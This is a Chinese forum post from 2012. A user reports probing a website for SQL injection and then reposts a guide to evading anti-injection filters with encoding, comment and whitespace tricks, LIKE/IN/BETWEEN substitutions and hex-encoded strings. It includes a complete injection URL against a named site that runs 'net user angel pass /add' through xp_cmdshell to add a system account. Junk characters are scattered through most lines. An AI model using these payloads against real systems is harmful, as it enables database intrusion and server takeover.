找回密码
 立即注册
查看: 3030|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.& K& j" P6 Y$ [
http://www.xxx.cn/Article.asp?ID=117 and 1=14 m0 M- V6 ]- n  p6 ~
直接返回主页- c, A- D# K, Q  p5 j
http://www.xxx.cn/Article.asp?ID=117 or 1=13 }. A/ R- R- I5 e2 `, K5 x- `) N
直接返回主页
+ `+ p/ m/ T2 t1 y" vhttp://www.xxx.cn/Article.asp?ID=117 or
* `! X4 Q$ L8 N0 J没有返回主页 没有过滤or
3 ^, _8 w/ Y: `! d1 D7 C$ n+ ihttp://www.xxx.cn/Article.asp?ID=117 and
: K1 W6 q- t& _1 e( A. J* F直接返回主页 看来过滤了and
! V$ @  Z0 a3 j8 _0 Vhttp://www.xxx.cn/Article.asp?ID=117 or 1! t1 D( [/ w' T) C) T
没有返回主页 即没有过滤or 也没有过滤16 ?0 f* I) B! d) F) }
http://www.xxx.cn/Article.asp?ID=117 or 1=1. t( Z7 t0 U+ f1 O; {; u
直接返回主页 很明显过滤了等号
( T" Z5 C. s7 m1 S$ |or的特性是与and相反的.
3 p( A& ~8 ^% Q) Nor 1=1 爆错 或与原页面不同3 s3 {" m; G$ @' |0 ^* B0 b
or 1=2 原页面相同& R& X1 ^5 b. E5 f
这样就是一个注入点* e$ ^3 A! E  s! \- [$ v; r  ]
但他过滤了=号 我就用><号代替=号吧!) W. `6 J/ a& G; j
or 1<2 很明显是正确的,所以应该与原页面不同5 Z; ]5 X% B, V1 [2 ~
or 1>2 很明显是错误的,所以应该与原页面相同
. C; F6 K4 u+ r4 o9 }0 a! P$ @然后看看有没有过滤其他的查询语句,比如select.
7 U0 ]# Z' ~1 R# l$ W* Bhttp://www.xxx.cn/Article.asp?ID=117 select
7 x- @; Y+ f7 ]0 q直接返回主页
5 i$ n$ M0 O& f' m又迷茫了..
9 ?8 q& C3 ^3 ?  c" |! b# |0 U' U  L" z8 O* v, t: e' g

+ l% h1 y0 k, T! [cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗; F9 ]5 Z  {1 q7 v' ], i* W
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)0 d; m9 G2 z: n0 R' x# X
================================================
1 r- ?& z- D0 `0 t& l! S& ], _! @以下是转贴:+ M! j% D' Z& [; K

! S$ H" ]& b0 z* r& U0 j7 L+ F突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
. C) `; q3 Y8 |$ S- T经过我的收集,大部分的防注入程序都过滤了以下关键字: / i: j0 p" Y0 Z$ w2 M7 u
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 5 w" A9 a" g5 k
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 , K8 b0 @+ c6 l$ ?+ b6 w
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
9 ?2 ~3 [# c& c1、运用编码技术绕过 1 N6 T* {7 s% m2 d. Z
如URLEncode编码,ASCII编码绕过。例如or 1=1即 # Y8 c1 F- ]- S5 Z4 G
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
3 q4 ~1 H7 i1 \: i5 ]0 ~2 Q: A& X$ y1 o+ T3 w7 D9 ?+ m
2、通过空格绕过 6 c6 q) P4 H1 g4 G. g0 M5 l
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 % b$ C9 s- |, d
or’ swords’ =‘swords’ # E/ T- w8 e: n' E6 a& C
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
% @" g' j- n* ?7 j( K  O3、运用字符串判断代替
0 \" ]; @% w; z$ n9 W用经典的or 1=1判断绕过,如
* @( l4 H( D- A# B0 a3 gor ’swords’ =’swords’ . X& r! J# F8 g: m9 m+ \8 ^  B6 I
,这个方法就是网上在讨论的。
& L$ o! |. ^' h: j4、通过类型转换修饰符N绕过 # n6 Y8 f  `$ ^+ l7 Z8 W, z: E
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 * V9 z4 t' y" ^1 [' {3 [
5、通过+号拆解字符串绕过 2 O- ^5 _# E% M+ D
效果值得考证,但毕竟是一种方法。如 : j  _4 D  U& Y8 s% |0 [: l2 ^
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
& o8 ~6 j0 X& x6 y3 X
0 I( Y; y- H" ^: f' ^% W" S; \7 V# z6、通过LIKE绕过
* ?% ]1 k; G' B* G; r; F8 ]. {以前怎么就没想到呢?如or 0 j. z9 E9 c) ^- }7 M, x4 P) Q
’swords’ LIKE ’sw’ 4 Z( B  o. e: D( i
!!!显然可以很轻松的绕过 : {% Z& V5 l- Y' k' x
“=”“>” 0 q# n# O! P# f4 l1 S0 c/ H
的限制……
+ f9 c  A2 ]! f3 f7 L4 s7 k$ @7、通过IN绕过 ! z- E  X; C7 g) }* w. D/ [
与上面的LIKE的思路差不多,如
5 U9 f0 Y; s) T: [7 cor ’swords’ IN (’swords’) $ H/ O7 S3 U: A2 f3 B3 d; F

+ q4 g+ ^# }# C; q4 i$ {8、通过BETWEEN绕过
7 A6 A% n$ g; x
1 m. b+ g  K- w" d7 ~: N) bor ’swords’ BETWEEN ’rw’ AND ’tw’ : W6 E* h# o4 I" y$ J

; L  m! R/ v" u1 g9、通过>或者<绕过
6 q  x  S, ^# I- k7 o& T" ror ’swords’ > ’sw’
2 U* H) |! h& O' |2 C: Gor ’swords’ < ’tw’ ) n5 Y  m. ?: r7 Q4 O$ J; h9 v
or 1<3
/ X; O; o" `* b$ Y……
/ x+ D+ ?3 d  q" p7 K+ h7 n. N4 k/ v10、运用注释语句绕过
' x" \+ Q3 Z+ Z6 j2 F7 h& j( d8 M用/**/代替空格,如: 3 f  f- v/ D  A5 `
UNION /**/ Select /**/user,pwd,from tbluser - Z+ Q$ X5 K% _2 J! P/ W9 _$ S

% n  X" ~( F0 T0 c6 H3 d用/**/分割敏感词,如:
* g" e6 n) M7 c* jU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
7 \9 `6 l7 _8 b8 k6 ~5 @5 \- c1 c$ e: [$ k+ w+ F
11、用HEX绕过,一般的IDS都无法检测出来
4 c1 N- Y9 d2 v! m* I0x730079007300610064006D0069006E00 =hex(sysadmin) 5 M% l# n. v$ |- D* N% I) c) c& ~5 _
0x640062005F006F0077006E0065007200 =hex(db_owner)
( ?6 A( R& ?0 Y" I另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
( X8 U5 A6 O* U6 c  declare @a sysname
( G$ Q  l5 X4 e; [  l# o  select @a=
6 ~6 m0 M$ d- `( u4 |  exec master.dbo.xp_cmdshell @a
6 F9 [+ z2 H. ]9 n效果 6 O$ x4 c  d3 T5 P% K0 U' [
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- + l- F5 H, ]5 z0 U/ ~0 f

9 B2 \. ~: T" P2 `其中的
* q" V$ Y/ {0 I- A1 q0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 7 o- K1 J* a+ u' M. J
就是 ! p& |1 V$ C* \' i9 k" [& U
“net user angel pass /add”
; B0 ?' L6 Q! |( n) l7 {; {; K/ V- G% [9 v+ J' k
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
( I1 |, j; H, I: Y引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。  O2 q% |3 ?; V- v6 `6 C
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似' u1 a+ t: }2 [
Copy code( W  p3 `/ ]2 c( R
select * from table exec xp_cmdshell'xxxxxxxxxx'! d# y" n2 ?! M

0 O3 C8 Z) K' D3 [9 Q" a6 o, X, W9 {4 [" z, G1 M
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
1 l/ P" O/ M, _; R$ ~, V6 b
+ R# c# |, p2 P
$ x( Q( @$ b3 aselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
2 ?% }/ S4 s: w
1 M; D! ^6 y) w! ^, i; D
+ r0 Z# U- G( z3 N3 oselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
# y+ g# u1 P, }& f0 v" Y7 U/ x; J1 t# c1 h3 M% X
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
* u& i8 p% E7 [7 f' _/ M- Y! [* t& c1 G( M+ K$ Z, r. y
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了  X0 z' L2 ^4 L/ D; r
可能大家早就知道了,不管怎么说,发在这里吧!1 w4 M: r& M: m# L5 i

" w, z" X3 x: J1 p最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。& G3 \: S$ b) `: s- g  n" t
+ w' I8 f8 F6 y5 V+ l6 h
: T' f* J" p7 |8 |/ V8 N

+ m5 l0 W/ I: @: M6 N对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,, a( K4 H6 S4 b1 {$ Q7 J/ e
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
& ~/ B" v% M/ M) m1 B' I- ]1 K
2 U1 P0 K( J) `) v( y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表